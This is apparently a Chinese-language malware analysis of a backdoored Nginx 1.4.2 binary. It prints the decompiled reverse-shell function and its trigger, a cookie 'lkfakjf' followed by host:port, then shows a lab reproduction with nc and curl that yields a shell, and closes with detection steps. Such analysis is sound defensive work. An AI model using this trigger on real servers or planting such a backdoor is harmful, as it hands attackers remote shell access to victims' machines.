Nginx 1.4.2 后门分析

Table of Contents

最近安恒威胁情报论坛上公开了一个 Nginx 后门的情报,我比较感兴趣,把样本下回来做了下分析。

文件 MD5 ab498686505dfc645e14c6edad280da7

1 后门分析

把样本载入到 Ghidra,“Search” > “For Strings”中搜索字符串“/sh”,找到如下:

DEFINED	00475606	s_/bin/sh_00475606	ds "/bin/sh"	"/bin/sh"	string	8	false

双击结果,跳转到 0x00475606 地址上,并在右键菜单中依次选择“References” ,“Show References to Address”,结果如下:

004363d3		MOV ESI=>s_/bin/sh_00475606,s_/bin/sh_00475606	PARAM
004363d3		MOV ESI=>s_/bin/sh_00475606,s_/bin/sh_00475606	DATA
004363d8		MOV hostname=>s_/bin/sh_00475606,RSI	PARAM

双击跳转到地址 0x004363d3,根据符号信息,这个地址位于 connect_shell 函数内,Ghidra 自动转换的实现代码如下:

int connect_shell(char *hostname)

{
  char cVar1;
  ushort port;
  int __fd;
  ulong uVar2;
  char *pcVar3;
  sockaddr_in si;
  char tempo [512];

  strcpy(tempo,hostname);
  /* IP 和端口用冒号分割 */
  strtok(tempo,":");
  uVar2 = 0xffffffffffffffff;
  pcVar3 = tempo;
  do {
    if (uVar2 == 0) break;
    uVar2 = uVar2 - 1;
    cVar1 = *pcVar3;
    pcVar3 = pcVar3 + 1;
  } while (cVar1 != '\0');
  /* 获取端口号 */
  port = __strtol_internal(hostname + ~uVar2,0,10,0);
  strcpy(hostname,tempo);
  si.sin_port = port >> 8 | port << 8;
  si.sin_family = 2;
  si.sin_addr = inet_addr(hostname);
  __fd = socket(2,1,0);
  connect(__fd,(sockaddr *)&si,0x10);
  write(__fd,&DAT_00475602,3);
  dup2(__fd,0);
  dup2(__fd,1);
  dup2(__fd,2);
  /* 用 /bin/sh 替换了当前进程 */
  execl("/bin/sh","/bin/sh",0);
  close(__fd);
  exit(0);
}

这个后门通信的函数实现非常简单,启动一个 shell 与 hostname 参数提供的地址建立 TCP 连接。

现在看什么地方调用了 connect_shell,在 Decompile 窗口右键菜单依次选择“References” > “Find References to connect_shell”,如下:

.debug_frame::00005c40		dq connect_shell	DATA
                ??	EXTERNAL
00436471		CALL connect_shell	UNCONDITIONAL_CALL
0047c504		fde_table_entry 	INDIRECTION
00481fa0		ddw connect_shell	DATA

0x00436471 调用了 CALL 指令,因此跳转过去,跳转后位于 ngx_http_header_filte 函数中,就能看到触发后门的关键代码了:

ngx_int_t ngx_http_header_filter(ngx_http_request_t *r)

{
  ......

  pnVar1 = &(r->headers_in).cookies.nelts;
  ret = *pnVar1 == 0;
  cookies = *pnVar1 == 1;

  if (cookies) {
    cookies_elts = *(byte **)(*(long *)(r->headers_in).cookies.elts + 0x20);
    length = 7;
    pbVar16 = cookies_elts;
    password = (byte *)"lkfakjf";
    do {
      if (length == 0) break;
      length = length + -1;
      ret = *pbVar16 < *password;
      cookies = *pbVar16 == *password;
      pbVar16 = pbVar16 + 1;
      password = password + 1;
    } while (cookies);
    /* 判断 Cookie 中带有字符串“lkfakjf” */
    if ((!ret && !cookies) == ret) {
      uVar13 = 0xffffffffffffffff;
      pbVar16 = cookies_elts;
      do {
        if (uVar13 == 0) break;
        uVar13 = uVar13 - 1;
        bVar3 = *pbVar16;
        pbVar16 = pbVar16 + 1;
      } while (bVar3 != 0);
      /* 从“lkfakjf”之后,下标为 8 的字符开始为连接主机的地址和端口 */
      strncpy(hostname,(char *)(cookies_elts + 8),~uVar13 - 9);
      process = fork();
      if (process == 0) {
        /* 简单粗暴,fork 个新进程去连接后门 */
        connect_shell(hostname);
        exit(0);
      }
    }
  }

  ......
}

后门触发原理很简单,如果 Cookie 内容为

lkfakjf 主机地址:端口

就与主机建立通讯。

2 后门利用

我在几个 Linux 发行版里运行都存在动态链接库依赖问题,于是看了下这个后门版的 Nginx 依赖哪些 so:

$ objdump -x nginx | fgrep NEEDED
  NEEDED               libpthread.so.0
  NEEDED               libcrypt.so.1
  NEEDED               libpcre.so.0
  NEEDED               libssl.so.6
  NEEDED               libcrypto.so.6
  NEEDED               libdl.so.2
  NEEDED               libz.so.1
  NEEDED               libgd.so.2
  NEEDED               libc.so.6

接着看看这个 Nginx 的版本:

$ strings nginx_backdoor | fgrep version
......
nginx version: nginx/1.4.2
......

1.4.2 有点老了,猜测黑客是为某台运行了成熟业务的服务器专门定制的后门;接着网上查了下这些动态链接库版本,发现和 CentOS 6 中的比较吻合,所以我的测试环境也用 CentOS 6。

去 Docker 拉一个 CentOS 6 的镜像:

$ sudo docker pull centos:6

启动个容器:

$ sudo docker run --name centos6_env -it centos:6 bash

为了省去手动逐个安装依赖,直接在容器里安装个 Nginx:

# yum install epel-release
# yum install nginx

然后建个 /usr/local/nginx、/usr/local/nginx/logs 文件夹,把样本拷贝到 /usr/local/nginx 目录中运行。

接着在本地用 nc 监听个端口:

$ nc -l 4444

本地用 curl 触发后门:

$ curl 172.17.0.3 -H 'Cookie: lkfakjf 172.17.0.1:5555'

注意 nc 有了反应:

$ nc -l 5555

#
id
uid=499(nginx) gid=499(nginx) groups=499(nginx)

3 检测方法

1、检查 Nginx 二进制文件中是否存在“/sh”:

$ strings nginx | fgrep /sh
/bin/sh

2、这个后门直接 fork 了一个 /bin/sh 进程,所以在进程中能直接看到 nginx 这个用户启动的 /bin/sh:

# ps aux  | grep sh
nginx        271  0.0  0.0  11368  2440 ?        S    11:08   0:00 /bin/sh